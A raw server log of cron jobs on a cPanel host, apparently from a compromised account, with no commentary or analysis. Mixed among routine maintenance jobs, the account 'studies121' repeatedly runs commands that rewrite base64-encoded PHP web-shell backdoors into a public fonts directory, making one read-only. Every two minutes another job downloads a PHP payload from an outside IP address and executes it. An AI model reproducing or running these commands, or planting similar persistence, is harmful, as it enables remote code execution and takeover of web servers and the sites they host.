Sep  5 19:03:01 ip-184-168-122-23 CROND[6400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:03:01 ip-184-168-122-23 CROND[6401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:03:01 ip-184-168-122-23 CROND[6402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:03:01 ip-184-168-122-23 CROND[6403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:04:01 ip-184-168-122-23 CROND[6757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:04:01 ip-184-168-122-23 CROND[6759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:04:01 ip-184-168-122-23 CROND[6760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:04:01 ip-184-168-122-23 CROND[6758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:04:01 ip-184-168-122-23 CROND[6761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:05:01 ip-184-168-122-23 CROND[7077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:05:01 ip-184-168-122-23 CROND[7078]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:05:01 ip-184-168-122-23 CROND[7079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:05:01 ip-184-168-122-23 CROND[7081]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:05:01 ip-184-168-122-23 CROND[7082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:05:01 ip-184-168-122-23 CROND[7083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:05:01 ip-184-168-122-23 CROND[7084]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 19:06:01 ip-184-168-122-23 CROND[7468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:06:01 ip-184-168-122-23 CROND[7469]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:06:01 ip-184-168-122-23 CROND[7470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:06:01 ip-184-168-122-23 CROND[7472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:06:01 ip-184-168-122-23 CROND[7473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:07:01 ip-184-168-122-23 CROND[7799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:07:01 ip-184-168-122-23 CROND[7801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:07:01 ip-184-168-122-23 CROND[7803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:07:01 ip-184-168-122-23 CROND[7802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:08:01 ip-184-168-122-23 CROND[8190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:08:01 ip-184-168-122-23 CROND[8193]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:08:01 ip-184-168-122-23 CROND[8194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:08:01 ip-184-168-122-23 CROND[8195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:08:01 ip-184-168-122-23 CROND[8192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:09:01 ip-184-168-122-23 CROND[8584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:09:01 ip-184-168-122-23 CROND[8587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:09:01 ip-184-168-122-23 CROND[8588]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 19:09:01 ip-184-168-122-23 CROND[8586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:09:01 ip-184-168-122-23 CROND[8590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:10:01 ip-184-168-122-23 CROND[8948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:10:01 ip-184-168-122-23 CROND[8949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:10:01 ip-184-168-122-23 CROND[8950]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 19:10:01 ip-184-168-122-23 CROND[8951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:10:01 ip-184-168-122-23 CROND[8954]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:10:01 ip-184-168-122-23 CROND[8952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:10:01 ip-184-168-122-23 CROND[8955]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:10:01 ip-184-168-122-23 CROND[8956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:11:01 ip-184-168-122-23 CROND[9266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:11:01 ip-184-168-122-23 CROND[9267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:11:01 ip-184-168-122-23 CROND[9269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:11:01 ip-184-168-122-23 CROND[9268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:12:01 ip-184-168-122-23 CROND[9568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:12:01 ip-184-168-122-23 CROND[9569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:12:01 ip-184-168-122-23 CROND[9572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:12:01 ip-184-168-122-23 CROND[9570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:12:01 ip-184-168-122-23 CROND[9571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:13:01 ip-184-168-122-23 CROND[9864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:13:01 ip-184-168-122-23 CROND[9865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:13:01 ip-184-168-122-23 CROND[9867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:13:01 ip-184-168-122-23 CROND[9866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:14:01 ip-184-168-122-23 CROND[10215]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:14:01 ip-184-168-122-23 CROND[10217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:14:01 ip-184-168-122-23 CROND[10219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:14:01 ip-184-168-122-23 CROND[10218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:14:01 ip-184-168-122-23 CROND[10216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:15:01 ip-184-168-122-23 CROND[10566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:15:01 ip-184-168-122-23 CROND[10569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
